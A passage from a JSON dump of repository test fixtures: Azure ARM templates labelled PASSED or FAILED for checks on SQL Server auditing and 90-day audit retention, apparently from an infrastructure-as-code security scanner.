\"databaseEdition\": \"Basic\",\n    \"databaseCollation\": \"SQL_Latin1_General_CP1_CI_AS\",\n    \"databaseServiceObjectiveName\": \"Basic\"\n  },\n  \"resources\": [\n    {\n      \"name\": \"[variables('sqlServerName')]\",\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"tags\": {\n        \"displayName\": \"SqlServer\"\n      },\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"version\": \"12.0\"\n      },\n      \"resources\": [\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"location\": \"[parameters('location')]\",\n          \"tags\": {\n            \"displayName\": \"Database\"\n          },\n          \"properties\": {\n            \"edition\": \"[variables('databaseEdition')]\",\n            \"collation\": \"[variables('databaseCollation')]\",\n            \"requestedServiceObjectiveName\": \"[variables('databaseServiceObjectiveName')]\"\n          },\n          \"dependsOn\": [\n            \"[variables('sqlServerName')]\"\n          ],\n          \"resources\": [\n            {\n              \"comments\": \"Transparent Data Encryption\",\n              \"name\": \"current\",\n              \"type\": \"transparentDataEncryption\",\n              \"apiVersion\": \"2014-04-01-preview\",\n              \"properties\": {\n                \"status\": \"[parameters('transparentDataEncryption')]\"\n              },\n              \"dependsOn\": [\n                \"[variables('databaseName')]\"\n              ]\n            }\n          ]\n        },\n        {\n          \"name\": \"AllowAllMicrosoftAzureIps\",\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2015-05-01-preview\",\n          \"location\": \"[parameters('location')]\",\n          \"properties\": {\n            \"endIpAddress\": \"0.0.0.0\",\n            \"startIpAddress\": \"0.0.0.0\"\n          },\n          \"dependsOn\": [\n            \"[variables('sqlServerName')]\"\n          ]\n        }\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"sqlServerFqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(concat('Microsoft.Sql/servers/', variables('sqlServerName'))).fullyQualifiedDomainName]\"\n    },\n    \"databaseName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('databaseName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerAuditingEnabled/sqlServerDatabaseAuditingEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\"\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"secureString\"\n    },\n    \"transparentDataEncryption\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Enabled\",\n      \"allowedValues\": [\n        \"Enabled\",\n        \"Disabled\"\n      ]\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\"\n    }\n  },\n  \"variables\": {\n    \"databaseName\": \"sample-db-with-tde\",\n    \"databaseEdition\": \"Basic\",\n    \"databaseCollation\": \"SQL_Latin1_General_CP1_CI_AS\",\n    \"databaseServiceObjectiveName\": \"Basic\",\n    \"sqlServerName\": \"[format('sqlserver{0}', uniqueString(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"apiVersion\": \"2020-08-01-preview\",\n      \"name\": \"dbEnabled\",\n      \"properties\": {\n        \"state\": \"[parameters('transparentDataEncryption')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"auditingSettings\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"name\": \"DefaultAuditingSettings\",\n          \"dependsOn\": [\n            \"[parameters('sqlServerName')]\",\n            \"[parameters('storageAccountName')]\",\n            \"[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]\"\n          ],\n          \"properties\": {\n            \"state\": \"Enabled\",\n            \"storageEndpoint\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]\",\n            \"storageAccountAccessKey\": \"[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]\",\n            \"storageAccountSubscriptionId\": \"[subscription().subscriptionId]\",\n            \"isStorageSecondaryKeyInUse\": false\n          }\n        }\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-2021-05-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2021-05-01-preview\",\n      \"name\": \"[parameters('sqlServerName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"databases\",\n          \"apiVersion\": \"2021-05-01-preview\",\n          \"name\": \"[parameters('databaseName')]\",\n          \"location\": \"[resourceGroup().location]\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.Sql/servers/', parameters('sqlServerName'))]\"\n          ],\n          \"properties\": {\n            \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n            \"maxSizeBytes\": \"268435456000\",\n            \"createMode\": \"Default\"\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Sql/servers/databases/auditingPolicies\",\n              \"apiVersion\": \"2020-02-02-preview\",\n              \"name\": \"[concat(parameters('sqlServerName'), '/', parameters('databaseName'), '/Default')]\",\n              \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('sqlServerName'), parameters('databaseName'))]\"\n              ],\n              \"properties\": {\n                \"state\": \"Enabled\",\n                \"auditActionsAndGroups\": [\n                  \"SUCCESSFUL_DATABASE_AUTHENTICATION_GROUP\",\n                  \"FAILED_DATABASE_AUTHENTICATION_GROUP\",\n                  \"BATCH_COMPLETED_GROUP\"\n                ],\n                \"retentionDays\": 91\n              }\n            }\n          ]\n        }\n      ],\n      \"sku\": {\n        \"name\": \"GP_Gen5_2\",\n        \"tier\": \"GeneralPurpose\"\n      }\n    }\n  ],\n  \"parameters\": {\n    \"sqlServerName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the SQL Server.\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Administrator username for the SQL Server.\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Administrator password for the SQL Server.\"\n      }\n    },\n    \"databaseName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the SQL database to create.\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"sqlServerName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('sql-', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"Name of the SQL server\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The administrator username of the SQL Server.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"The administrator password of the SQL Server.\"\n      }\n    },\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('sqlaudit', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"The name of the auditing storage account.\"\n      }\n    },\n    \"isStorageBehindVnet\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"metadata\": {\n        \"description\": \"Enable Auditing to storage behind Virtual Network or firewall rules. The user deploying the template must have an administrator or owner permissions.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"StorageBlobContributor\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]\",\n    \"uniqueRoleGuid\": \"[guid(resourceId('Microsoft.Storage/storageAccounts',  parameters('storageAccountName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('sqlServerName')))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[parameters('storageAccountName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"AzureServices\",\n          \"defaultAction\": \"[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]\"\n        }\n      },\n      \"resources\": [\n        {\n          \"condition\": \"[parameters('isStorageBehindVnet')]\",\n          \"type\": \"Microsoft.Storage/storageAccounts/providers/roleAssignments\",\n          \"apiVersion\": \"2020-03-01-preview\",\n          \"name\": \"[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]\",\n            \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\"\n          ],\n          \"properties\": {\n            \"roleDefinitionId\": \"[variables('StorageBlobContributor')]\",\n            \"principalId\": \"[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]\",\n            \"scope\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\",\n            \"principalType\": \"ServicePrincipal\"\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('sqlServerName')]\",\n      \"identity\": \"[if(parameters('isStorageBehindVnet'), json('{\\\"type\\\":\\\"SystemAssigned\\\"}'), json('null'))]\",\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"version\": \"12.0\"\n      },\n      \"tags\": {\n        \"displayName\": \"[parameters('sqlServerName')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"auditingSettings\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"name\": \"DefaultAuditingSettings\",\n          \"dependsOn\": [\n            \"[parameters('sqlServerName')]\",\n            \"[parameters('storageAccountName')]\",\n            \"[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]\"\n          ],\n          \"properties\": {\n            \"state\": \"Enabled\",\n            \"retentionDays\": \"7\",\n            \"storageEndpoint\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]\",\n            \"storageAccountAccessKey\": \"[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]\",\n            \"storageAccountSubscriptionId\": \"[subscription().subscriptionId]\",\n            \"isStorageSecondaryKeyInUse\": false\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-FAILED3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"sqlServerName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('sql-', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"Name of the SQL server\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The administrator username of the SQL Server.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"The administrator password of the SQL Server.\"\n      }\n    },\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('sqlaudit', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"The name of the auditing storage account.\"\n      }\n    },\n    \"isStorageBehindVnet\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"metadata\": {\n        \"description\": \"Enable Auditing to storage behind Virtual Network or firewall rules. The user deploying the template must have an administrator or owner permissions.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"StorageBlobContributor\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]\",\n    \"uniqueRoleGuid\": \"[guid(resourceId('Microsoft.Storage/storageAccounts',  parameters('storageAccountName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('sqlServerName')))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[parameters('storageAccountName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"AzureServices\",\n          \"defaultAction\": \"[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]\"\n        }\n      },\n      \"resources\": [\n        {\n          \"condition\": \"[parameters('isStorageBehindVnet')]\",\n          \"type\": \"Microsoft.Storage/storageAccounts/providers/roleAssignments\",\n          \"apiVersion\": \"2020-03-01-preview\",\n          \"name\": \"[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]\",\n            \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\"\n          ],\n          \"properties\": {\n            \"roleDefinitionId\": \"[variables('StorageBlobContributor')]\",\n            \"principalId\": \"[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]\",\n            \"scope\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\",\n            \"principalType\": \"ServicePrincipal\"\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('sqlServerName')]\",\n      \"identity\": \"[if(parameters('isStorageBehindVnet'), json('{\\\"type\\\":\\\"SystemAssigned\\\"}'), json('null'))]\",\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"version\": \"12.0\"\n      },\n      \"tags\": {\n        \"displayName\": \"[parameters('sqlServerName')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"auditingSettings\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"name\": \"DefaultAuditingSettings\",\n          \"dependsOn\": [\n            \"[parameters('sqlServerName')]\",\n            \"[parameters('storageAccountName')]\",\n            \"[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]\"\n          ],\n          \"properties\": {\n            \"state\": \"Disabled\",\n            \"retentionDays\": 90,\n            \"storageEndpoint\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]\",\n            \"storageAccountAccessKey\": \"[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]\",\n            \"storageAccountSubscriptionId\": \"[subscription().subscriptionId]\",\n            \"isStorageSecondaryKeyInUse\": false\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"sqlServerName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('sql-', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"Name of the SQL server\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The administrator username of the SQL Server.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"The administrator password of the SQL Server.\"\n      }\n    },\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('sqlaudit', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"The name of the auditing storage account.\"\n      }\n    },\n    \"isStorageBehindVnet\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"metadata\": {\n        \"description\": \"Enable Auditing to storage behind Virtual Network or firewall rules. The user deploying the template must have an administrator or owner permissions.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"StorageBlobContributor\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]\",\n    \"uniqueRoleGuid\": \"[guid(resourceId('Microsoft.Storage/storageAccounts',  parameters('storageAccountName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('sqlServerName')))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[parameters('storageAccountName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"AzureServices\",\n          \"defaultAction\": \"[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]\"\n        }\n      },\n      \"resources\": [\n        {\n          \"condition\": \"[parameters('isStorageBehindVnet')]\",\n          \"type\": \"Microsoft.Storage/storageAccounts/providers/roleAssignments\",\n          \"apiVersion\": \"2020-03-01-preview\",\n          \"name\": \"[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]\",\n            \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\"\n          ],\n          \"properties\": {\n            \"roleDefinitionId\": \"[variables('StorageBlobContributor')]\",\n            \"principalId\": \"[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]\",\n            \"scope\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\",\n            \"principalType\": \"ServicePrincipal\"\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('sqlServerName')]\",\n      \"identity\": \"[if(parameters('isStorageBehindVnet'), json('{\\\"type\\\":\\\"SystemAssigned\\\"}'), json('null'))]\",\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"version\": \"12.0\"\n      },\n      \"tags\": {\n        \"displayName\": \"[parameters('sqlServerName')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"auditingSettings\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"name\": \"DefaultAuditingSettings\",\n          \"dependsOn\": [\n            \"[parameters('sqlServerName')]\",\n            \"[parameters('storageAccountName')]\",\n            \"[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]\"\n          ],\n          \"properties\": {\n            \"state\": \"Enabled\",\n            \"retentionDays\": 90,\n            \"storageEndpoint\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]\",\n            \"storageAccountAccessKey\": \"[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]\",\n            \"storageAccountSubscriptionId\": \"[subscription().subscriptionId]\",\n            \"isStorageSecondaryKeyInUse\": false\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"sqlServerName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('sql-', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"Name of the SQL server\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The administrator username of the SQL Server.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"The administrator password of the SQL Server.\"\n      }\n    },\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('sqlaudit', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"The name of the auditing storage account.\"\n      }\n    },\n    \"isStorageBehindVnet\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"metadata\": {\n        \"description\": \"Enable Auditing to storage behind Virtual Network or firewall rules. The user deploying the template must have an administrator or owner permissions.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"StorageBlobContributor\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]\",\n    \"uniqueRoleGuid\": \"[guid(resourceId('Microsoft.Storage/storageAccounts',  parameters('storageAccountName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('sqlServerName')))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[parameters('storageAccountName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"AzureServices\",\n          \"defaultAction\": \"[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]\"\n        }\n      },\n      \"resources\": [\n        {\n          \"condition\": \"[parameters('isStorageBehindVnet')]\",\n          \"type\": \"Microsoft.Storage/storageAccounts/providers/roleAssignments\",\n          \"apiVersion\": \"2020-03-01-preview\",\n          \"name\": \"[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]\",\n            \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\"\n          ],\n          \"properties\": {\n            \"roleDefinitionId\": \"[variables('StorageBlobContributor')]\",\n            \"principalId\": \"[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]\",\n            \"scope\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\",\n            \"principalType\": \"ServicePrincipal\"\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"[variables('apiVSQLServer')]\",\n      \"type\": \"Microsoft.Sql/servers\",\n      \"location\": \"[parameters('locationFull')]\",\n      \"tags\": {\n        \"DisplayName\": \"[parameters('resourceNameFull')]\",\n        \"CreationDate\": \"[parameters('creationDate')]\",\n        \"ExpiryDate\": \"[parameters('expiryDate')]\"\n      },\n      \"name\": \"[parameters('resourceNameFull')]\",\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('adminUsername')]\",\n        \"administratorLoginPassword\": \"[parameters('adminPassword')]\",\n        \"version\":  \"[variables('serverVersion')]\",\n        \"minimalTlsVersion\":  \"[variables('minimalTlsVersion')]\",\n        \"publicNetworkAccess\":  \"[variables('publicNetworkAccess')]\"\n      },\n      \"resources\":[\n        {\n          \"condition\": \"[equals(parameters('enableAudit'),'true')]\",\n          \"type\": \"Microsoft.Sql/servers/auditingSettings\",\n          \"apiVersion\": \"[variables('apiVsecurityPol')]\",\n          \"name\": \"[concat(parameters('resourceNameFull'), '/Default')]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Sql/servers', parameters('resourceNameFull'))]\"\n          ],\n          \"properties\": {\n            \"retentionDays\": 91,\n            \"auditActionsAndGroups\": [\n              \"SUCCESSFUL_DATABASE_AUTHENTICATION_GROUP\",\n              \"FAILED_DATABASE_AUTHENTICATION_GROUP\",\n              \"BATCH_COMPLETED_GROUP\"\n            ],\n            \"isAzureMonitorTargetEnabled\": false,\n            \"state\": \"Enabled\",\n            \"storageEndpoint\": \"[parameters('storageAccEndPoint')]\",\n            \"storageAccountSubscriptionId\": \"[parameters('subscriptionId')]\"\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerAuditingRetention90Days/sqlServerAuditingRetention90Days-TDE-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The administrator username of the SQL Server.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"The administrator password of the SQL Server.\"\n      }\n    },\n    \"transparentDataEncryption\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Enabled\",\n        \"Disabled\"\n      ],\n      \"defaultValue\": \"Enabled\",\n      \"metadata\": {\n        \"description\": \"Enable or disable Transparent Data Encryption (TDE) for the database.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"sqlServerName\": \"[concat('sqlserver', uniqueString(subscription().id, resourceGroup().id))]\",\n    \"databaseName\": \"sample-db-with-tde\",\n    \"databaseEdition\": \"Basic\",\n    \"databaseCollation\": \"SQL_Latin1_General_CP1_CI_AS\",\n    \"databaseServiceObjectiveName\": \"Basic\"\n  },\n  \"resources\": [\n    {\n      \"name\": \"[variables('sqlServerName')]\",\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"tags\": {\n        \"displayName\": \"SqlServer\"\n      },\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"version\": \"12.0\"\n      },\n      \"resources\": [\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"location\": \"[parameters('location')]\",\n          \"tags\": {\n            \"displayName\": \"Database\"\n          },\n          \"properties\": {\n            \"edition\": \"[variables('databaseEdition')]\",\n            \"collation\": \"[variables('databaseCollation')]\",\n            \"requestedServiceObjectiveName\": \"[variables('databaseServiceObjectiveName')]\"\n          },\n          \"dependsOn\": [\n            \"[variables('sqlServerName')]\"\n          ],\n          \"resources\": [\n            {\n              \"comments\": \"Transparent Data Encryption\",\n              \"name\": 